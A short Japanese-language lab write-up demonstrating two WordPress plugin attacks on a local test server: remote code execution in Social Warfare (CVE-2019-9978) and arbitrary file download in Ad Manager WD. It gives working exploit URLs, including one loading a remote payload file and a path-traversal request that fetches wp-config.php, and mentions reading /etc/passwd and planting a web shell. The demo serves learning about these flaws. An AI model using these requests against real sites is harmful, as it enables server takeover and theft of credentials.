WordPressのPluginを利用した攻撃デモ

デモ環境

- Ubuntu18.04(非アップデート)
  - apache2(www-dataユーザで起動;デフォルト)
- WordPress4.6(最新版は5.2.1)
- Plugin
  - Social Warfare Plugin 3.5.3
  - Ad Manager WD 1.0.11

やること

- CVE-2019-9978
  - wordpress plugin social warfare < 3.5.3 - Remote Code Execution
    - https://www.exploit-db.com/exploits/46794
    - 遠隔からのコード実行(RemoteCodeExecution:RCE)を行いより、サーバ内でコードを実行する
- CVE: N/A
  - WordPress Plugin Ad Manager WD 1.0.11 - Arbitrary File Download
    - https://www.exploit-db.com/exploits/46252
    - 悪意の有る引数を渡し、サーバのファイルを取得する

CVE-2019-9978:social warfare

1. 攻撃対象から参照できる場所に、payloadを配置する。
2. social warfareの引数に上記payloadを含めることで、任意のコマンドが実行できる。
3. /etc/passwdを見て、思いを馳せる
4. web-shellを配置する

- payloadは本来は外部サイトに配置するが、今回は同一サイト内に配置します。
  - http://localhost/othersite/payload.txt
- payloadを実行します。
  - http://localhost/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://localhost/othersite/payload.txt
  - wp-admin配下なのに、認証を要求されない
  - 参照したファイルが実行された
- 実行は、www-data権限のようだ

CVE N/A:Ad Manager

1. Ad Managerの引数にパスを指定すると、ファイルが取得できる。
2. wp-config.phpを取得して、思いを馳せる。

- wp-config.phpを落とす
  - http://localhost/wp-admin/edit.php?post_type=wd_ads_ads&export=export_csv&path=../wp-config.php